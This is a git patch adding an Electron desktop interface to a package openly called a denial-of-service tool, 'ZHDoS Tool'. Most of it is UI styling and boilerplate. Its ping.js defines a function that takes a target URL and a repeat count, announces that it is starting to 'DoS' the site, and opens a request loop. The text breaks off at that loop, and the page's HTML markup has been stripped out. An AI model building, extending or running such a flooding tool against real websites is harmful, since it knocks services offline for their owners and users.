From 7d3376569650815b982526f3bad70db29560800d Mon Sep 17 00:00:00 2001
From: 000hen <42735043+000hen@users.noreply.github.com>
Date: Thu, 26 Mar 2020 23:33:19 +0800
Subject: [PATCH] UI Edition
---
index.html | 46 ++++++
main.css | 384 +++++++++++++++++++++++++++++++++++++++++++++++++++
main.js | 44 ++++++
package.json | 32 ++++-
ping.js | 17 +++
5 files changed, 518 insertions(+), 5 deletions(-)
create mode 100644 index.html
create mode 100644 main.css
create mode 100644 main.js
create mode 100644 ping.js
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..d685b4f
--- /dev/null
+++ b/index.html
@@ -0,0 +1,46 @@
+
+
+
+
+ ZHDoS Tool UI Edition
+
+
+
+
+
+
+
+
+
+
+
+ ZHDoS Tool UI Edition
+
+ Times:
+ Site Url:
+
+
+
+
+
+
+ DoS Url:
+
+ Now DoS:
+ All DoS:
+
+ Exit ZHDoS Tool
+
+
+
+
+
\ No newline at end of file
diff --git a/main.css b/main.css
new file mode 100644
index 0000000..7cade36
--- /dev/null
+++ b/main.css
@@ -0,0 +1,384 @@
+body {
+ margin: 0;
+ padding:0;
+ font-family: Quicksand, "Noto Sans TC", sans-serif;
+ word-break: break-all;
+ text-align: center;
+}
+
+nav {
+ position: fixed;
+ top: 0;
+ width: 100%;
+ height: 100px;
+ padding: 10px 100px;
+ box-sizing: border-box;
+ transition: .3s;
+}
+
+nav.black {
+ background: rgba(0,0,0,0.8);
+ height: 100px;
+ padding: 10px 100px;
+}
+
+nav .logo {
+ padding: 5px 20px;
+ height: 80px;
+ float: left;
+ font-size: 24px;
+ transition: .3s;
+}
+
+nav.black .logo {
+ color: #fff;
+}
+
+nav ul {
+ list-style: none;
+ float: right;
+ margin: 0;
+ padding: 0;
+ display: flex;
+}
+
+nav ul li {
+ list-style: none;
+
+}
+
+nav ul li a {
+ line-height: 80px;
+ color: #151515;
+ padding: 12px 30px;
+ text-decoration: none;
+ text-transform: uppercase;
+ transition: .3s;
+}
+
+nav.black ul li a {
+ color: #fff
+}
+
+nav ul li a:focus {
+ outline: none;
+}
+
+nav ul li a.active {
+ background: #E2472F;
+ color: #fff;
+ border-radius: 6px;
+}
+
+nav ul li a.login {
+ background: #ffe263;
+ color: #fff;
+ border-radius: 6px;
+}
+
+section.secl {
+ width: 100%;
+ height: 100vh;
+ background: url("/img/H-Coin%20Logo%20Big%20(NB).svg");
+ background-size: cover;
+ background-position: center;
+}
+
+.content {
+ margin-top: 80px;
+}
+
+.content p {
+ width: 900px;
+ margin: 30px auto;
+ text-align: justify;
+ font-size: 20px;
+ line-height: 30px;
+}
+
+@font-face {
+ font-family: TNCEasyFontSmoothVersion;
+ src: local('TNCEasyFontSmoothVersion'), url(/fonts/TNCEasyFontSmoothVersion.woff);
+}
+.logoh {
+ font-family: TNCEasyFontSmoothVersion;
+}
+
+
+
+.hc_balance {
+ float: right;
+ width: 45%;
+ height: 20em;
+ background-color: #1565c0;
+ margin: 8px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+ color: #f4f8fc;
+}
+
+.hc_do {
+ text-decoration: none;
+ float: left;
+ width: 45%;
+ height: auto;
+ margin: 8px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+.hc_bal {
+ font-size: 50px;
+}
+
+
+
+.hc_id {
+ float: left;
+ width: 45%;
+ height: 50%;
+ margin: 8px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+.hc_many {
+ clear: both;
+ width: 100%;
+ height: 100%;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+.hc_dashboard {
+ margin: 8px;
+}
+
+.hc_transfer {
+ float: left;
+ background-color: darkturquoise;
+ color: #fdffff;
+ border-radius: 6px;
+ width: 45%;
+ height: 30px;
+ margin: 8px;
+ border-radius: 8px;
+ text-decoration: none;
+}
+
+.hc_payin {
+ float: right;
+ background-color: darkturquoise;
+ color: #fdffff;
+ border-radius: 6px;
+ width: 45%;
+ height: 30px;
+ margin: 8px;
+ border-radius: 8px;
+ text-decoration: none;
+}
+
+.hc_join_p {
+ text-align:center;
+ float: left;
+ height: 50%;
+ width: 45%;
+ margin: 15px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+.hc_currently {
+ text-align:center;
+}
+
+.logoimg {
+ background-image: url(img/H-Coin Logo.png);
+ width: 80px;
+ height: 80px;
+}
+
+img {
+ pointer-events: none;
+}
+
+
+.hc_lg_box {
+ text-align:center;
+ margin: 1px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+input {
+ text-align: center;
+ background-color: white;
+ border-radius: 3px;
+ -webkit-appearance: none;
+ border:1px solid #DBDBDB;
+ box-shadow: 0;
+ width: 200px;
+ height: 30px;
+}
+
+hc_r {
+ float: right;
+}
+hc_l {
+ float: left;
+}
+
+.payinfo {
+ text-align: center;
+ width: 65%;
+ height: 250px;
+ float: right;
+ margin: 8px;
+ border-radius: 8px;
+ border: 0;
+ box-shadow: 0px 1px 2px 0px rgba(60,64,67,0.3), 0px 1px 3px 1px rgba(60,64,67,0.15);
+}
+
+.payfrom {
+ right: 50%;
+ text-align: center;
+ height: 250px;
+}
+
+.loader {
+ margin: 0 0 0 -55px;
+ background-color: transparent;
+ animation: rotation .7s infinite linear;
+ border-left: 5px solid #cbcbca;
+ border-right: 5px solid #cbcbca;
+ border-bottom: 5px solid #cbcbca;
+ border-top: 5px solid #2380be;
+ border-radius: 100%;
+}
+.nowpage {
+ border-bottom: 2px solid currentColor;
+ border-bottom-color: #ff8a00;
+ border-radius: 10px;
+ height: 15px;
+}
+
+input {
+ text-align: center;
+ background-color: white;
+ border-radius: 3px;
+ -webkit-appearance: none;
+ border:1px solid #DBDBDB;
+ box-shadow: 0;
+ width: 200px;
+ height: 30px;
+}
+input:hover {
+ border:1px solid #b8b8b8;
+ color: #a1a1a1;
+ transition-duration: .3s;
+}
+input:active {
+ border:1px solid #DBDBDB;
+ color: #ededed;
+ background-color: #b8b8b8;
+ transition: padding 2s;
+}
+.logbox1 {
+ text-align:center;
+ margin: 15px;
+}
+
+.UserInfo {
+ display: inline-block;
+ width: 50%;
+ margin: 5px;
+}
+
+.MinecraftInfo {
+ display: inline-block;
+ width: 50%;
+ margin: 5px;
+}
+
+.AppInfo {
+ display: inline-block;
+ width: 50%;
+ margin: 5px;
+}
+
+
+
+a {
+ border:2px solid #DBDBDB;
+ border-radius: 3px;
+ line-height: 80px;
+ color: #151515;
+ padding: 12px 30px;
+ text-decoration: none;
+ text-transform: uppercase;
+ transition: .3s;
+}
+
+a:focus {
+ outline: none;
+}
+
+a:hover {
+ border:2px solid #b8b8b8;
+ color: #a1a1a1;
+ transition-duration: .3s;
+}
+
+select {
+ text-align: center;
+ background-color: white;
+ border-radius: 3px;
+ -webkit-appearance: none;
+ border:1px solid #DBDBDB;
+ box-shadow: 0;
+ width: 200px;
+ height: 30px;
+}
+
+select:hover {
+ border:1px solid #b8b8b8;
+ color: #a1a1a1;
+ transition-duration: .3s;
+}
+
+select:active {
+ border:1px solid #DBDBDB;
+ color: #ededed;
+ background-color: #b8b8b8;
+ transition: padding 2s;
+}
+
+option {
+ margin: 5px;
+}
+
+.site-content{
+ position: relative;
+ padding: 5px 5px;
+}
+
+.footer{
+ width: 100%;
+ background-color: #525252;
+ color: #fff;
+ position: absolute;
+}
+
+.footer a{
+ color: #fff;
+ border: 0;
+ padding: 0 5px;
+ line-height: 0;
+ text-transform: none;
+}
\ No newline at end of file
diff --git a/main.js b/main.js
new file mode 100644
index 0000000..9f645ca
--- /dev/null
+++ b/main.js
@@ -0,0 +1,44 @@
+const electron = require('electron')
+const { app, BrowserWindow } = require('electron')
+
+function createWindow () {
+ // Create the browser window.
+ const win = new BrowserWindow({
+ width: 800,
+ height: 600,
+ webPreferences: {
+ nodeIntegration: true
+ }
+ })
+
+ // and load the index.html of the app.
+ win.loadFile('index.html')
+
+ // Open the DevTools.
+ //win.webContents.openDevTools()
+}
+
+// This method will be called when Electron has finished
+// initialization and is ready to create browser windows.
+// Some APIs can only be used after this event occurs.
+app.whenReady().then(createWindow)
+
+// Quit when all windows are closed.
+/*app.on('window-all-closed', () => {
+ // On macOS it is common for applications and their menu bar
+ // to stay active until the user quits explicitly with Cmd + Q
+ if (process.platform !== 'darwin') {
+ app.quit()
+ }
+})*/
+
+app.on('activate', () => {
+ // On macOS it's common to re-create a window in the app when the
+ // dock icon is clicked and there are no other windows open.
+ if (BrowserWindow.getAllWindows().length === 0) {
+ createWindow()
+ }
+})
+
+// In this file you can include the rest of your app's specific main process
+// code. You can also put them in separate files and require them here.
\ No newline at end of file
diff --git a/package.json b/package.json
index 26ec558..b42dcab 100644
--- a/package.json
+++ b/package.json
@@ -2,17 +2,39 @@
"name": "zhdos-tool",
"version": "0.0.1",
"description": "The DoS Tool",
- "main": "curl.js",
- "publishConfig": { "registry": "https://npm.pkg.github.com/" },
+ "main": "main.js",
+ "publishConfig": {
+ "registry": "https://npm.pkg.github.com/@3zh-studio-network/"
+ },
"dependencies": {
"child_process": "^1.0.2",
"clear": "^0.1.0",
- "request": "^2.88.2",
- "readline-sync": "^1.4.10"
+ "jquery": "^3.4.1",
+ "readline-sync": "^1.4.10",
+ "request": "^2.88.2"
},
"devDependencies": {},
"scripts": {
- "test": "test"
+ "test": "test",
+ "start": "electron .",
+ "build": "electron-builder --dir",
+ "dist": "electron-builder"
+ },
+ "build": {
+ "productName": "ZHDoS",
+ "appId": "com.threezhstudio.devtool.dos",
+ "directories": {
+ "output": "build"
+ },
+ "mac": {
+ "icon": "icon/logo.png"
+ },
+ "win": {
+ "icon": "icon/logo.png"
+ },
+ "linux": {
+ "icon": "icon/logo.png"
+ }
},
"author": "ZHDeveloper",
"license": "ISC"
diff --git a/ping.js b/ping.js
new file mode 100644
index 0000000..f7424e9
--- /dev/null
+++ b/ping.js
@@ -0,0 +1,17 @@
+function fundos(curlurl,times) {
+ var request = require('request');
+
+ $(".dosurl").html(curlurl);
+
+ $(".status").html('The DoS Tool is start to DoS "'+curlurl+'"');
+
+ for(i=0;i